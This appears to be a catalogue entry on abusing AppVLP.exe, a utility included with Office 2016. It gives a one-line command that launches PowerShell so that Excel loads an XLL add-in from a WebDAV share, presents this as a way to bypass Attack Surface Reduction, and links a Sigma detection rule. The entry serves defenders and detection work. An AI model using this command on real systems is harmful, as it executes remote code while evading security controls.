Application Virtualization Utility Included with Microsoft Office 2016
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
Local execution of process bypassing Attack Surface Reduction (ASR).
C:\Program Files\Microsoft Office\root\client\appvlp.exe, C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml
fab (@0rbz_), Will (@moo_hax), Matt Wilson (@enigma0x3)